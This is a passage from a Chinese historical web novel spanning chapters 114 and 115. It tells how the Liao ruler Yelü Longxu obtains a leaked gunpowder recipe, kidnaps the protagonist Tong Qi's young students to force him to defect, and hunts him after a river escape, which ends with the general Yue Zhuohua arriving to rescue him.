耶律隆绪摇摇脑袋,“不像,不过这人一向圆滑,的确该防一手。我已经在他身边安插了人,只要发现不对之处,便会提前通知……” 两人皆没有提及那与大奉朝的谈判之事。 总不过是一个拖延之举,又不会真的答应,至于谈的如何,又有何在意呢? 而这个时候,突然到来的一封信,其峰回路转之下,简直如同天上掉馅饼般,令人难以置信。 辽国太后几乎是一目十行看完的那些信息,寥寥数语,透露出来的东西,却比任何事都让她感到兴奋。 “确定这消息属实吗?那天罚,果然是有迹可循之物,竟是童启研究出来的?怪不得我们如何都难以破解,立刻派人去境内寻找这些原材料,想办法复刻出来,若能做出,哀家大大有赏!” “是!” 旁边的侍卫一脸振奋,忙拿着那方子便匆匆下去实验。 耶律隆绪只得将满腹的话语重新咽下。 他垂眸看着那信纸上的信息,静静思索着。 总觉得,事情没有这么顺利。 如信纸上所说,那火药乃是军中至密,没几个人知道配方,即便王常侍再怎么深受大奉朝皇帝宠爱,柏弓良等人会毫无防备吗? 而且按照情报上的消息,童启是什么样的人? 事必周全,谋略颇深,多智近妖。 会没有考虑到有人泄露的可能? 他总觉得这人背后应该还留着什么底牌的,只是到底是何物,他却怎么也猜不出来。 见到耶律隆绪沉默不语,自觉处理了一件心中大事的辽国太后,舒心不已的暗示道。 “我的儿,这童启,确实才华无比啊。不仅能够想出那么多赚钱的法子,还可以研究出如此可怕的武器,才华渊博,学富五车,难怪那大奉朝皇帝如此喜爱,若能够成为我辽国之人……” 整个拉拢过来。 那还何愁拿不下区区一个大奉朝呢? “母后,谁都有可能成为我辽国之人,但童启,绝不会。” 耶律隆绪无情的泼醒了对方这份妄想。 “他不是朝臣,却因着大奉朝皇帝一纸诏令,号召三军。您以为只是靠的什么尚方宝剑吗?不,靠的还有其文坛的影响力,以及他华夏书院山长的身份。” “华夏书院?那不就是普普通通的一座小书院吗?能有什么蹊跷?”萧太后疑惑道。 耶律隆绪上前两步,缓缓展开那大奉朝的完整地图,注视着伊川县的位置。 “汉人有句话,一日为师,终身为父。山长的身份可远比您想象的能量要高得多,不说其门下的世家子弟以及皇亲国戚们,就说那西夏的李元昊,千里迢迢为什么非要进去那里上学?图的,不正是未来的同窗之谊么?听说华夏书院第一届学生皆已毕业,个个龙章凤资,出彩斐然,其中有位叫做汪启元的,甚至成为了胡丞相的女婿……” 你觉得,这会只是偶然吗? 这童启在做什么,其他人或许看不出来,但他多少能够猜出一二。 如同一盘围棋,对方在做执棋手,暗暗将自己的棋子(学子)分布出去,侵占着其他人的领地。 悄无声息。 表面上说是三皇子一党,实则分明是在布置自己的棋局。 而那些被吞没的仕宦、寒门、外戚、宠臣,便是他盯紧的团体。只要他能够将所有的学生分布进入每一个领域里,成为其中的佼佼者,那么到最后,谁能分清楚到底那些领域是他的人,还是他的人控制着那些领域呢? 这份眼光之长远,耐心之十足,简直让任何一个人都感到毛骨悚然。 可如今,却只化作了一句 “有教无类”。 什么叫有教无类,不过是拢和所有可拢和在一起的力量罢了。 “他明明身负和谈任务,却压下不提,反而先拿下三州,控制了军权,才与四皇子和谈,只这一举,便足以看出其心思之重,傲骨之胜,轻易不会与任何人低头。这样的人实在是太可怕,绝不在我们能控制的范围之内。” “可那太监不是还注明了童启的弱点吗?若我们能够加以利用起来,牵制一番……” 萧太后不甘心的说道。 如此人才,百年,不,只怕千年也难遇。 若真的就让她这么放弃,那才是真正的可惜! 耶律隆绪苦笑一声,无奈道。 “我明白母后的求贤若渴,我也爱惜人才,只是……这样吧,我率兵亲自去一趟黄龙府,实验那火药到底是不是真的,顺便借此机会,将童启拉拢一番,若他能顺应时局,那自然是最好,可若是对方抵死不从。那么,母后,我建议您能够允许我将其原地斩杀。这样的人,绝不能放他离开。” “有这么严重吗?”萧太后被吓了一跳。 这还是她第一次见到自己的儿子如此重视提防一个人,其话语中的冷厉与血腥,几乎扑面而来。 不过一个文臣而已,会有这么厉害? 耶律隆绪肯定道,“有。” 他目光幽深的看着那张信纸上□□,冷静的分析着,“若他真的与那传闻中的一致,那么,不论我们付出多大的代价,都绝不能让他安然离开这里。文臣不可怕,多智近妖的文臣也不可怕,但拥有文人的风骨还多智近妖,那便不容小觑了。母后,我有直觉,若我们今日不能够使对方彻底消失在这个世界上,那么今后,他将会是我们拿下大奉朝的最大敌人。” 事实证明,耶律隆绪的判断确实没错。 而后几十年内,这则预言不断的验证着,提醒着童启对周边所有国家的强大影响力。 即便耶律隆绪不在了,这则说法也依旧在实行。 可惜,如今潜龙在渊,水池尚浅,很少有人将这句话真的当真。 而有着萧太后在,耶律隆绪还未真正亲政,即便满腹忧虑,也只得以母后的意见为主。 他答应了,一定会尽量努力拉拢,能生擒就尽量生擒,实在不行,再想办法,就地斩杀。 萧绰这才总算是放心,放任他带兵前往了黄龙府。 而此刻的蓟州城内,童启的弱点——李元昊和赵天阙两个小崽子,也正行驶在街头,兴致勃勃的聆听着百姓们的反馈与抱怨。 自跟随山长出来后,他们见识了不少的新鲜事,头一次遇到比伊川县还寒冷的地方,也头一次知道,原来普通百姓们过的生活竟然如此可怜。 赋税、兵役、旱灾、涝灾、疫病、生计…… 一桩桩,一件件,简直让他们大开眼界。 原来不是每一个人都能够读得起书,也不是每一个人都能吃得起饭。 相比起他们,这些人就像是生活在炼狱之中,可却因为他人的一点点小恩惠,对生活产生的所有变化,感到幸福与感激。 两小只几乎是亲眼看着这个州城从战乱荒凉到重归繁华。 每日随着山长的一条条命令,而改变一点点,一个多月后,便如同神迹一般,再难以见到从前的影子,每个人都在笑,每个人都在赞,他们满心骄傲又感慨。 从不愿上街,不愿离开童启身边,到现在每日都必须抽出一段时间,出来倾听百姓们的生活。 “山长真的好厉害啊,怎么什么都知道。”李元昊忍不住感叹着。 “那当然,要不然怎么他是师父呢?” 赵天阙一脸得意。 再过两个多月,她便要二岁了。 是个大孩子了! 虽然去年一整年她几乎都是在牙牙学语中度过的,可今年,她已经可以自己单独行走两三条街道,腿不酸,气不喘了! 这段时间,她正在努力干饭,估计要不了多久,她就可以和柏弓良大将军一样长高高,替师父打倒一切坏人,令其再也不用东奔西跑,忙前忙后了。 这怎么不算是一种成长呢? 就连这一次,童启独自前往黄龙府谈判,她也没有吵闹。 而是每日出来调查民意,收集民生百态,等待着其回来后,献给对方。当然,她最开心的,还是去各种街道上,聆听百姓们对于山长的彩虹屁,以及他们对于四皇子与契丹人的抨击。 刚开始时,柏大将军与童继本等人还有些担忧。 这么小的孩子天天上街,若是被掳去了怎么办? 但后来发现李元昊的武功,已经能空拳打死一头牛了,简直比军中的普通将领们还要更厉害一些,而赵天阙年纪虽小,却脑袋聪明,别说被骗,她不去骗别人,就已经是非常好的了,顿时也就不再担心了,乐得他们自己找事,消磨等待的时间。 只要不闹腾,什么都好。 童继本与柏弓良皆派了一方人,远远保护着,只要确认他们的安全即可。 其他不必管。 两方的亲兵们领了命,自然也施行的非常严格。 可耐不住这样的生活天天经历,一来二去,便难免有些枯燥起来。 他们看着两小只蹲在村口的磨盘底下,认真听着村里人的议论,忍不住打了个大大的哈欠。 声音随着风,传入他们耳中,几乎都可以背出来了。 “这四皇子简直枉为人君,哪里有向着外人,刀剑对准自家的?” “就是,听说现在还要向着契丹人谈判,无耻!要我说,童山长就不应该想那么多,直接打过去,把他们彻底打服认错才是。” “黄龙府那么多人,说屠就屠了,那是人干的事吗?我舅舅就是那里的人,一家五口全部死了个干净,这些人根本就没有把咱们百姓当作人看,也就童山长与其他官员皆不同,不然的话,咱们可怎么办哦?” “对啊,童山长可真是个好官啊,要看以往,谁管咱们有病没钱看要怎么办?只要不死,那就是服劳役、干活的命……” “可不是嘛,童山长大好人啊!” …… 重复的话语,反复颠倒,只是换了些人讲罢了。 老百姓没什么好的遣词琢句,说来说去,就是“好”,“坏”这样的评价。 可两小只却像是听不厌一般,不仅如此,还屡屡在他们说的上头的时候,跟着附和。 “那四皇子真不是东西,生孩子没□□,以后别被我们碰到,不然一定替你们报仇!” “对,报仇!” 两小只同仇敌忾,一同骂着四皇子以及契丹人。 同样的画面,这些亲兵基本上看了快一个多月,因此也没有太 放在心上。 可谁知,不过是喝口水的功夫,再一转身,两个孩子却像长了翅膀一般,突然消失不见。 “什么情况,人呢?刚才还在这里的人呢?” 一个错眼,见到人丢了,两方的亲兵立马慌了,连忙抓起旁边的村民便追问起来。 那村民也很懵,“对啊,人呢,刚才还在这里呢。” 他只是想给两个娃拿一些零食罢了,这怎么就不见了。 孩子丢了! 这可是巨大的事情! 两方亲兵别提有多恐慌了,况且这两个崽子还不是什么普通的小角色,一个乃是西夏王子的继承人,另一个则是华夏书院童启童山长的关门弟子,任谁出了事,那都是赔不起的级别? 来不及耽搁,他们便忙起身回去禀告柏大将军。 而另一队人,则将此处团团包围,地毯式的搜查起来。 只可惜,再找也注定是找不到了。 那两小只已经被彻底迷晕,顺着地道被送到了城外,囫囵装在了麻袋中,连夜送往了黄龙府。 而耶律隆绪,也终于在此处,与童启第一次相见。 第114章 第114章童启投敌 辽国有两位战功赫赫的大将军,在历史上最为著名。 一位是耶律修哥,另一位,便是其首领,耶律隆绪。 童启尤其以耶律隆绪最为忌惮。 毕竟北宋大名鼎鼎的耻辱开端——“澶渊之盟”,便是其亲征后,大败宋军,与宋朝签订的。 史书上记载的他聪颖智慧,又被称为“辽国盛主”,在亲政后,更是率领着辽国达到了鼎盛时期,比之母萧太后有过之而无不及。 刚开始,他还想着既然来都来了,怎么也得见个历史人物再走吧? 可后来,他反而祈求着最好别让辽国的人出现。 因为一出现,便意味着变局。 这场仗已经打的七七八八,耗时快有一年半的时间,大家彼此都疲了,损失的人力也好,武力也罢,皆远胜心中原本所估量的数目。而他作为老师,也实在不喜欢这种动荡的局势,不仅耽误学生们读书科举,还干扰他教书育人。作为一个山长,他今年一节课都没有给学生们上,净浪费时间在这种朝廷的义务劳动上了,怎么可能不烦躁? 就连本年度的系统任务,也只刷出了个驱逐匈奴来,其他什么也没。 要不是前段时间声望值大涨带来的系统升级,开了个动点地图的福利,他现在,只怕早就要撂挑子不干了。 所有人都期待着和平的到来,可偏偏,不是每个人都希冀着这场战争平稳结束。 就像是故意与童启做对抗一般,谈判的第五日,黄龙府再次进了人。 童启从听到动静的那一刻开始,便本能的眼皮狂跳。 而不等他怀疑,崇晓林已经匆匆从外跑来,告诉了他这则坏消息。 “不好了,童山长!辽国的首领耶律隆绪来了,他说要推翻现在所有的和谈进度,与您亲自面谈!” 果然! 他就知道! 童启痛苦的闭了闭眼,哀叹自己一直以来的坏运气。 不同于四皇子的居高临下、拖拖拉拉,这位辽国雄主一上来就充分展示了其雷厉风行的作风。 当天下午,便约见着童启进入了校场和谈。 虽然,他也不知道为什么要把和谈放置在校场。 但真正见到对方后,童启顿时有了一种大事不妙的感觉。 无他,这位辽国雄主实在是比他想象中要年轻太多了! 在他的认知里,耶律隆绪此时应该处于齐承胤或者柏弓良那个年纪才对,老谋深算,虎背熊腰,可面前这人,分明才二三十岁,比他大不了多少。高大威武,双眼熠熠有神,简直比他所见到的大奉朝任何一位皇子,都更具风采一些。 甚至对汉人的了解,也远比他想象中要多的多。 “童山长,百闻不如一见,这几日在我们的黄龙府,过的可还惬意?” 你们的黄龙府? 童启挑了挑眉,对其话语中的专横感到一丝好笑。 “耶律隆绪。” 他平静的喊出这个名字。 “听闻萧太后还未归政,您就这样随意的踏入战区之地,难道,就不怕遇到什么危险吗?” 其身后的契丹护卫听到这句话,纷纷露出警惕忌惮的眼神来,而耶律隆绪却只是饶有兴趣的抬了抬手,让人摆上了整套的桌椅茶盏,邀请他坐下细谈。 裸露的黄土地上,阳光刺目,风景一般,除了丑陋的几道石墙,没什么可看的。 为什么偏偏要在这里聊? 崇晓林与童继本对视一眼,皆感到一丝不解。 童启却并未嫌弃,他缓缓落座,垂眸看着对方熟练的烹茶技术,忍不住在心中叹了一声难怪对方能够拿下北宋,在史书上有一席之地,这举手投足间,谁能分得清他和汉人有何不同啊? 简直比他还了解汉文化。 清茶幽幽,童启接过递到身前的茶盏,品了一口,道了声不错。 “想必您今日找我来,并非为了品茶吧?四皇子说和谈作废,请问是何意思,难道辽国不准备结束这场战争吗?” 童启没耐心继续等下去,率先发问道。 耶律隆绪低头嗅着茶香,似胸有成竹一般。 “和谈自然还是要谈的。只是条件,要改。” “如何改?” “我辽国可以把黄龙府退还给大奉朝,但是,需要一个人来交换。” 交换? 童启愕然,没料到事情竟然会朝着这样古怪的方向去发展,他正猜想着,别是什么老皇帝或者皇子、公主之类的人物吧,对面的耶律隆绪已经将那名字直接说了出来。 “童山长,你愿意为了大奉朝,留在我辽国吗?” 如同一块巨石投入到了平静的湖泊之上,简简单单的一句询问,顿时惊呆了对面的几人。 崇晓林几乎是本能的脱口而出,否决道,“这绝无可能!” 童继本也不由冷厉了双眼,反复在对方几个弱点处打量着,思考若擒贼先擒王,该从哪里入手更快一些。 虽有些意外,但童启很快便思索到了原因。 他笑着摇头道,“您只怕是对我有什么误解,又或者将我想的太重要了。” 对方要他,无非就是觉得那天罚是他兴起的,想要他同样的入辽效力。 可先不说他会不会投敌卖国,难道大奉朝皇帝就是什么蠢蛋不成? 会眼睁睁坐视着知道这大杀器方子的人,流窜到其他国去? 何况,那火药方子终究只是个方子罢了。 即便他们守得再紧,过个十来年,也迟早会流传开来。 就这么用一个城池去换他这么一个普通人,无疑是周幽王戏诸侯博褒姒一笑,非常的不值得。 没想到耶律隆绪却认真的说道。 “只要你愿意来,我辽国愿以南府左丞相一职,扫榻相迎童山长。” 南府左丞相? 这一下可确确实实把童启给震惊到了。 要知道辽国分为南府与北府,北府皆是契丹贵族,而南府则是科举士人,有汉有辽,若说让他去北府做丞相,那完全就是个噱头谎言,可若说让他去南府做丞相,那便是真的有可能实际操作下来的! 这意味着什么,意味着辽国竟然愿意用丞相之位,去恭迎童启! 即便他如今只是个白身,还未在大奉朝当一天的官! 这辽国就敢将整个国家都交给他! 只要他愿意! 说真的,有那么一瞬间,童启本人都恍惚了。 礼贤下士,士为知己者死……一系列文人的卖身语录闪烁在他脑海中。 难怪那么多文人前仆后继,只为了一份皇帝的信任,这搁他,他也撑不住啊! “抱歉,我志向并非如此……” 童启尴尬的拒绝道。 “那你想要什么?童山长,我知你胸有丘壑,但大奉朝的皇帝并非明主。他能给的,我辽国同样可以给,他不能给的,我辽国也能给。你若不愿当官,我完全可以在辽国再给你开一间书院,随你挑选学生,绝对给足你充分的尊重与自由!你若想为政,那起步便是一人之下,万人之上!我和母后可以承诺,绝不干涉你的任何选择……” 耶律隆绪步步紧逼,循循善诱。 口中开出的条件,更是空前的诚意十足。 崇晓林和童继本紧张的盯着童启的表情,生怕一个不留神,他们便要倒戈成为了敌方的阵营。 毕竟这诱惑,是真的大啊! 哪个文臣终生追求的梦想不是这些?即便童山长心动,也情有可原。 “火药我是不可能给你的。” 童启干脆破罐子破摔挑明道。 他实在不耐烦再跟耶律隆绪做这种猜谜的游戏了,有什么就放到桌面上谈,搞离间,也太小儿科了一些。 可对方却反问道,“谁说我是为了火药?” 几个人一愣。 耶律隆绪嘴角噙着一丝得意的笑,望 向了对面的石墙,他拍了拍手,两名士兵拿着火折子悄然上前,点燃了埋藏在墙角的引信。 只几秒钟,震天般的响动瞬间将对面炸了个大大的窟窿。 尖锐的耳鸣声,令童启如坠冰窟。 他有想过几年后火药方子会暴露,那时的大奉朝,要如何办。 可万万没想到,这方子竟然暴露的如此早。 该死的内奸。 童启忍不住握紧了拳,看向对面的人,五脏六腑随着这声巨震,而不断翻腾想吐。 他这下总算明白过来了,辽国其实根本就没有和谈的想法。 那什么和谈,不过是说出去拖延时间的,实际上,他们在这场战争中投入了太多东西,根本难以接受失败的结局,所以,叫他来,不过是个幌子,亦或者,是个人质。 “童山长,这下,你还要拒绝吗?” 这未完结之句,让童启眉头紧皱。 他默默打开地图,查看着自己的几个徒弟所在的方位,当看到两个小红点出现在黄龙府内的时候,心里不由得大草了一声。 黄龙府府衙后院,四皇子受命看守着这两个童启的“弱点”。 听闻是华夏书院的学生,顿时起了兴致。 他拿着两个麦芽糖,蹲在李元昊与赵天阙的身边,询问他们有没有在童启身旁见到过一岁左右的小娃娃。 两个小崽子被绑的紧紧的,说不出话来。 四皇子给两人松了口条。 李元昊顿时骂骂咧咧,怒视着他,喊道。 “卑鄙贼子!只会背后耍阴招,算什么好汉?我劝你赶紧放了我们,不然我父皇一定会弄死你们的!” 四皇子一脸烦躁,再次给他堵住了嘴,询问向一旁的小女娃。 “你呢,你知道吗?” 赵天阙想了想,一脸惊讶,似是想到了什么,又忌惮着周围的侍卫,怯怯不敢言。 四皇子眼睛一亮,忙附身过去,说道,“放心,你尽管说,我绝不会告诉任何人。” 不料话音刚落,对方却一口狠狠咬上了他的指尖,小奶牙像是鲨鱼的两个牙齿一般,死死的用着力,让他一时难以挣脱。 “妈的,你敢咬我?下贱东西!” 四皇子吃痛,抬手便想要打过去,被李元昊一头撞到膝盖处,猛地后退几步。 八九岁的男娃半个身子护在两岁的女娃身前,如狼崽一般,死死的盯着他。 威慑十足。 看起来让人本能的不悦。 四皇子还想说什么,外面的护卫已经走了进来,通知他带人过去。 推推搡搡间,把两个小崽子带到了校场,几乎是见到童启的一瞬间,两个人便飞快的如同箭矢一般冲了出去。 边冲还边哭诉着。 “山长!” “师父!他欺负我呜呜呜!” 童启复杂的抬眸看向四皇子。 四皇子:??? 到底谁欺负谁啊? 他眼看着两个崽子翻脸如同翻书一般,百口莫辩。 耶律隆绪却没有在意这些闹剧,只看着童启,继续道方才的话题。 “童山长,这,便是我们的诚意了。若你不愿,我还有其他的办法。自是能让你心甘情愿,入我辽国。” 这是威胁吧?这绝对是威胁吧? 童启心里骂骂咧咧,嘴上却扯了扯,露出一个标准的笑容来。 “自然,我想我已经充分见识到了贵国的手段。还请给我三日时间思考一下,相信我定会给您一个满意的答复。” 人在屋檐下,不得不低头。 他抱紧了怀里的两个小崽子,能屈能伸的很。 回到屋子里,崇晓林连忙追问道。 “山长,咱们难不成真的要答应这样离谱的要求吗?” 他可不想投敌啊! 童启幽幽的看了他一眼,“你有什么其他的办法吗?” “要不,咱们跑吧?趁着这个时候他们还没有反应过来。” 童启伸了伸手,让他看一下门外。 崇晓林推开门,这才发现他们的院子里不知何时已经从里到外都有人守了起来。 就像是保护什么国家一级保护动物一般,里三层外三层。 你当耶律隆绪是什么人? 这种纰漏他怎么可能会犯? 眼看着逃是逃不了了。 可若真的答应入辽国,那以后半辈子势必都没有再回来的可能。 原本在大奉朝积累的声望也全部成了空。 他的书院,他的学生,他所经营的所有产业……都毫无疑问白费了。 头一次,童启陷入了如此彷徨的局面之中。 蓟州城内,找了两日,都没有找到赵天阙与李元昊。 柏弓良等人简直如同热锅上的蚂蚁,急得不行,想要给黄龙府内的童启传个话,又完全传不进去。 正心急火燎间,一则诡异的消息如同水滴滴入了热油之中般,陡然在三城里沸腾起来。 【童启投敌了!】 “胡说,谁传的这个消息,速速派人抓起来,这无疑是在离间我大奉朝的官员!” 柏弓良怒不可遏,可底下传话的士兵却结结巴巴道。 “不是一个人在说,是所有人,都在说!” 黄龙府特意贴了张黄榜公示在城门外! 但凡经过的人,都能看见! 柏大将军本能的不信,可紧接着便想起丢失的赵天阙与李元昊来,他心里不由产生了一个离谱的猜测。 那两个小崽子,不会是四皇子抓的吧? 第115章 第115章大军前压 浑然不觉背了黑锅的四皇子,最近过的很不好。 自耶律隆绪来了黄龙府后,整个府内的士兵似乎就不听他的话了,以前往往一句就能够指使起来的,现在总是要好几句才行。 而且每件事,底下的人都要问过耶律隆绪,对方同意了,才去做。 这让他十分窝火。 “耶律隆绪,你这是什么意思?别忘了,黄龙府是我带人打下来的,这里的主人是我,不是你。” 四皇子愤然闯入待客厅内,怒视着耶律隆绪。 可对方却十分淡定,道。 “谁说是你的?马上这里就要还给大奉朝了。准备一下,三日后,我们撤兵,归辽。” 归辽? “童启答应了?” “他不答应也得答应。” 耶律隆绪令人将黄榜拿过来,示意给四皇子观看。 对方看完也不由得叹一声童启的可怜。 好家伙,离间计? 这妥妥是阳谋啊,虽简单,却耐不住千百年来的好用。 尤其是大奉朝皇帝还是那个德行,即便再信任,也不可能完全没有怀疑。 只要有这样的风声出来,那童启便算是被这盘污水给沾染上了,别管最后结果如何,起码统帅三军,是别想了。 这等于一下子干掉了对面的将,出手利落,毫无退路。 “既如此,那我们黄龙府还用还吗?反正咱们童启都到手了,火药也有,何不 再拼一把?” 四皇子追问道。 这就能看出来大奉朝皇子与辽国皇帝的政治差距了。 耶律隆绪不着痕迹的瞥了对方一眼,似对他能问出这样的问题感到惊异,但仍旧耐心的讲道,“人无信不立,国家也是。我既承诺给了童启要做交换,自然要将礼贤下士进行到底。” 更何况,他不做出这样的姿态来,大奉朝如何相信童启是真的投了敌? 凭空造谣,没人会信。 但为了国家,牺牲自我,这逻辑,完全无懈可击。 四皇子哑然的看着他,咽下了喉咙里“假惺惺”的吐槽。 “可这样,不还是我们亏了吗?” “怎么会?人才是无价的。只要童启归辽,以后还会怕没有其他的人来投吗?” 他的学生,他的师长,他的同僚…… 只要拐过来一个人,后面的,还不是源源不断? 而且最重要的是,他们已经有了火药,那么和谈完全就是一纸空文,黄龙府,大不了先还给他们,然后借此多要一点其他的东西,等秋收结束,制作完更多的火药,积攒实力后,他们再翻脸,一鼓作气,将大奉朝彻底拿下! 届时,对方仍旧沉溺在和谈的美梦中,定然会猝不及防。 而就是这样的猝不及防,才是他们动手的最佳时机。 听完耶律隆绪整个计划,四皇子彻底呆滞在了原地。 试问,这样的敌人,怎么赢? 一环套一环,缜密的就像是自己亲自上过战场一般。 幸亏他已经“投敌”了,不然以他的“智慧”,一定会被压着打。 这是一场注定失败的斗争。 咂摸了一番后,四皇子顿时气也不敢气了,只和他要了一支队伍,说是要在离开前从童启的口中问出自己的亲生儿子所在地,然后一起接走。 耶律隆绪虽疑惑他哪里来的儿子,但也没有反对什么,摆摆手,便赐给了他二十几个亲兵。 童启被围困在黄龙府内,整日思索着逃脱之法。 辽国不能去。 起码现在不能去。 若去了,那就算是彻底坐实了他的投敌之事,皇帝来了,也没用。 可不去,又怎么离开呢? 黄龙府上下布满了契丹人,再加上堵死的城门,高大的城墙,想出去,简直难如登天。 这个时候,愚蠢的四皇子带着人走了进来,询问童启他儿子到底被送到了哪里。 童启挑挑眉,看着其身后的亲兵,心里油然而生了一个主意。 蓟州城。 随着童启投敌的消息一出,不少人顿时坐不住了。 首要的,便是一直被强权压制下来的徐将军与王常侍。 他们带着亲兵层层包围起指挥所来,要求柏弓良交出军权。 “童启已经叛国,你身为童启任命的大将军,肯定也身怀异心,我等已经正式向朝廷上了奏折,要求派遣新的使臣过来参与和谈。至于你,乖乖交出军权,我等还可以放你一马,若执意不交,那就别怪我们先斩后奏,清君侧!” “你们敢!” 柏弓良怒不可遏,拿着童启交给他的尚方宝剑,便直直的将其插在了军营前的土地上。 “这乃是皇帝御赐的尚方宝剑,见此剑,如同面见圣上,想让我退出大将军之位?好,什么时候你们请来了圣旨,再和我谈,不然的话,就别怪我不念旧情!” 两方僵持在一处,徐将军没有办法,只得试探着召回自己手底下的士兵。 可三军早已经汇集在一处,谁还记得清楚哪个是哪个手底下的人? 即便有记得的,看看左右都没动,他也彻底不敢动了。 什么叛变不叛变,他们不懂。 但童启定下来的十大军纪,那算是早已经彻底刻在了骨子里,不敢违背。 毕竟若违背了,那是真的要挨斩头的。 问,就是只听上面的,谁拿着兵符,谁拿着尚方宝剑,那谁就是老大,其他的,就算天王老子来了,他们也不管。 这便能看出改革军队的好处了,起码明令禁止,上下一致。 再也没有什么你的兵我的兵一说。 如今,只有朝廷的兵,国家的兵。 靠着曾经定下的老规矩,柏弓良很是撑过了一段时间。 等黄龙府再有动静,已经是三日之后。 秋冬之际,清晨已经有些犯凉。 紧挨着城门口处。 水深千尺,护城河幽幽的环绕在城墙之外,连接着不远处的松花江,而隔江相望,北边是辽国,南边,便是大奉朝。 童启等人悄悄打晕了四皇子身边的亲卫,换上了他们的衣服,趁着换班巡逻之时,跟在了队伍的身后,悄然从护城河外游了出去。 两个小崽子还没学过游泳,所以一个被童继本揽在了怀中,一个被崇晓林抱在了腋下。 刺骨的冰水冻得几个人浑身打颤,为了不让孩子们染上风寒,他们尽量托举着。 “山长……马上就到了岸边了,您再坚持一下!” 童继本咬牙硬挺着,先将手上的孩子推上岸,再回头来接童启等人。 自穿越到这里后,童启从未如此狼狈过。 他深吸着气,不断感受着皮肤上传递过来的冷意,忍不住头皮发麻。 辽国是吧,他记住了。 迟早有一天……他要,要一锅端了这里。 以慰他大冬天特意游泳的诚意! 许是人数过多,耽误了太多时间,当童启游到半路时,城中的人便已经发现了他们集体不见的事实。 “童启跑了!他们跑了!” 随着一声大喊,四皇子衣服都没穿好,便拿着弓匆匆的奔了出来,见到河对岸那小女娃,便提箭射去。 吓得童启连忙大喊。 “那是你女儿!” 嗖的一声,箭矢射偏。 四皇子难以置信的瞪大眼睛。 而对岸赵天阙却死死的盯紧了河中间的童启,心无旁骛的催促着童继本。 “师父,快去拉师父上来!” 趁着四皇子愣神的时机,童启成功上岸,和所有人会和,带着两个小崽子匆匆往外逃去。 等耶律隆绪收到消息,打开城门,率队出城时,童启等人已经不见了身影。 “他们往哪个方向走了?” 耶律隆绪骑在马上,皱眉问向旁边的四皇子。 对方却愣愣的像是陷入了什么怀疑之中,兀自出着神。 耶律隆绪不耐烦的一把扯起对方的衣领,将起半吊在半空中,压低了声音重复道。 “我说,他们往哪个方向走了?蠢货?” 四皇子这才反应过来,他吃力的掰扯着脖颈前的铁掌,面色通红的伸出手指,指向了东边,可口中却犹豫着,求情道。 “别杀那个女孩,她好像……是我女儿!不对啊,我分明是个儿子,太医亲口说过的……” 耶律隆绪不屑的扔下对方,头也不回的,向东边赶去。 两条腿,即便倒腾的再快,也不可能胜过马力。 尤其是他们的队伍中还有小孩与文人。 童启跑到一半,便察觉到了这不是个聪明的方法,连忙兵分两路,让崇晓林和童继本等人带着两个小崽子先往南走。 自己则往北,尽量去拖延时间。 “他冲的是我,你们在这里只会成为我的软肋,先带他俩走,去找柏弓良求助,我即便被抓到也无妨,他不敢做什么的。” “可是……” 我们本来就是派来保护你的啊,哪里有弃你而去的道理? 崇晓林犹豫道。 可童启来不及让他说完,便径直打断,转用不容置疑的语气,强势命令道。 “快走!来不及了,你们三个,帮他们清理一下脚印,然后拿着衣服,跟我来。” “是!” 远处,马匹的嘶鸣声已经逐渐接近。 童启一边往相反的方向跑,一边小心翼翼的留下痕迹,故意让耶律隆绪等人来追他。 胸腔中、肺腑里,方才吸入的寒气随着风吹,令他颤抖不已。 三个喷嚏瞬间打出,惊动了附近的层层飞鸟。 马蹄声更加快了。 童启 一脚踩空,顿时陷在了泥泞的沼泽地里,狠狠的崴了一下脚踝。 他吃痛的强忍着,继续往北走,顺势躲入附近的草丛之中。 半人高的枯草地,耶律隆绪等人拿着刀剑,缓缓经过,警惕的呼喊着童启的名字。 “童山长,出来吧,我们不是约定好了吗?你现在即便离开,也没用了,整个蓟州三城都知道你投了敌,这个时候回去,难道你想要再次掀起战事吗?” “大奉朝容不了你,我辽国却截然相反,你不思感恩,怎么还净想着跑呢?” …… 一句句试探的话,逼着童启发出声音。 只要他发出半点声音,那么,今日,便是他的死期。 童启透过草丛,看着那些人拿着刀缓缓的接近。 显然,对方已经有了杀心。 拉拢不了,便起了灭绝的心思。 童启低头看着迅速肿起的脚踝,悄然往后挪移着,不知道哪里擦到了一块石子,耶律隆绪耳朵微动,便直接将手中的剑掷了出去。 破空的剑划过衣角,直接插入了童启那条尚不及挪动的瘸腿之中。 将他狠狠钉在了地面上。 “啊——” 实在是忍不住的一声痛呼,令耶律隆绪等人绽放了今日最惬意的一个微笑。 “看来,幸运总是与我们相伴的。” 他跳下马,一步步接近着发出声音的地方。 空投出的剑,用尽了十足的力道,即便是一个成年人,也无法轻易拔出。 他自信,可以将人直接射穿,难以逃脱。 可推开草坪后,却不见人影,只见到了那破碎的沾染鲜血的衣角,以及插在地面上,孤零零的剑。 没有射中? 不可能啊? 耶律隆绪看向不远处湍急的松花江,暗暗骂了一句契丹语,然后命令手下的人,沿着松花江搜寻童启的身影。 活要见人,死要见尸。 大概过了半个多时辰,沿着松花江下流的地方,漂浮上来一个“人影”,童启拖着血流不止的右腿,整个倒在了沿岸的草丛中,浑身冰冷,湿漉漉,已经没了任何力气。 这是他距离死亡最近的一次。 别说挣扎,就连大脑中都已经失去了任何思考的能力。 系统在意识海中拼命的呼唤着,让他不要睡着。 在这里睡着,无疑是找死。 可即便如此,也难以帮到童启半分。 他强撑着眼睛,浑身一会儿冷一会儿热,呆呆的注视着湛蓝的天空,疲惫不已。 有那么一瞬间,他甚至想着干脆就这么死了算了,反正落入契丹人手中,也跟死没什么两样了。 可在听到脚步声再次逼近后,他与系统还是不由的整颗心都悬到了喉咙里。 耶律隆绪不知放弃是何物,他带着人从上游一步步寻到下游。 总算跟随着血腥味,逐渐接近了童启所藏身的草丛中。 可凌空一支箭,陡然射过来。 耶律隆绪本能一避,才察觉到这箭中的恶意。 那分明,是冲着他的眼睛来的。 但凡他犹豫一秒,右眼便会彻底被射瞎。 他扭过头,抬眸望去,这才发现不知何时,竟有一个女人穿着铠甲,率兵包围了他们。 “你是何人?也敢来我辽国境内?” “你再看看,这还是你辽国境内吗?” 对方反问道,不等他回答,三只箭便已经再次上弦,对准了他的要害之处。 “岳灼华?” 耶律隆绪脑海中顿时冒出了这个名字。 这是耶律修哥攻打京都时,突然冒出的一个女将,听闻其擅长远攻,谋略颇深,用兵严谨,且与童启还也有旧,该死的,她不是应该守在京都吗?怎么竟然来了这里? 听到这个名字,草丛中的童启也有些发愣。 